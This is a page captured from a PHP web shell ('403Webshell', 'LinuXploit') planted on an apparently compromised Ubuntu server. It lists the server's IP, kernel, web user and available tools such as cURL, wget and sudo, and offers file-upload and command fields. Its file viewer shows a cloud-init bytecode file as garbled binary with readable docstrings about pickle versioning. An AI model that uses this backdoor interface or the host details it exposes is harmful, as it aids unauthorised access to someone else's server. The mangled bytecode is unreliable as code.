403Webshell
Server IP : 15.235.198.142  /  Your IP : 216.73.216.193
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux ballsack 6.8.0-45-generic #45-Ubuntu SMP PREEMPT_DYNAMIC Fri Aug 30 12:02:04 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/cloudinit/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/cloudinit/__pycache__/persistence.cpython-312.pyc
�

�f
���Gd�d�Zy)c�:�eZdZdZdZd�Zdeddfd�Zdeddfd	�Z	y)
�CloudInitPickleMixina�Scaffolding for versioning of pickles.

    This class implements ``__getstate__`` and ``__setstate__`` to provide
    lightweight versioning of the pickles that are generated for classes which
    use it.  Versioning is done at the class level.

    The current version of a class's pickle should be set in the class variable
    ``_ci_pkl_version``, as an int.  If not overridden, it will default to 0.

    On unpickle, the object's state will be restored and then
    ``self._unpickle`` is called with the version of the stored pickle as the
    only argument: this is where classes should implement any deserialization
    fixes they require.  (If the stored pickle has no version, 0 is passed.)
    �c�j�|jj�}t|�j|d<|S)aLPersist instance state, adding a pickle version attribute.

        This adds a ``_ci_pkl_version`` attribute to ``self.__dict__`` and
        returns that for serialisation.  The attribute is stripped out in
        ``__setstate__`` on unpickle.

        The value of ``_ci_pkl_version`` is ``type(self)._ci_pkl_version``.
        �_ci_pkl_version)�__dict__�copy�typer)�self�states  �7/usr/lib/python3/dist-packages/cloudinit/persistence.py�__getstate__z!CloudInitPickleMixin.__getstate__s0���
�
�"�"�$��#'��:�#=�#=��� ���r�returnNc��|jdd�}|jj|�|j|�y)aERestore instance state and handle missing attributes on upgrade.

        This will be called when an instance of this class is unpickled; the
        previous instance's ``__dict__`` is passed as ``state``.  This method
        removes the pickle version from the stored state, restores the
        remaining state into the current instance, and then calls
        ``self._unpickle`` with the version (or 0, if no version is found in
        the stored state).

        See https://docs.python.org/3/library/pickle.html#object.__setstate__
        for further background.
        rrN)�popr�update�	_unpickle)r
r�versions   r�__setstate__z!CloudInitPickleMixin.__setstate__'s3���)�)�-�q�1���
�
���U�#����w�r�ci_pkl_versionc��y)a>Perform any deserialization fixes required.

        By default, this does nothing.  Classes using this mixin should
        override this method if they have fixes they need to apply.

        ``ci_pkl_version`` will be the version stored in the pickle for this
        object, or 0 if no version is present.
        N�)r
rs  rrzCloudInitPickleMixin._unpickle8s�r)
�__name__�
__module__�__qualname__�__doc__rr
�dictr�intrrrrrrs9��
��O�� �$� �4� �"����rrN)rrrr�<module>rs��8�8r

Youez - 2016 - github.com/yon3zu
LinuXploit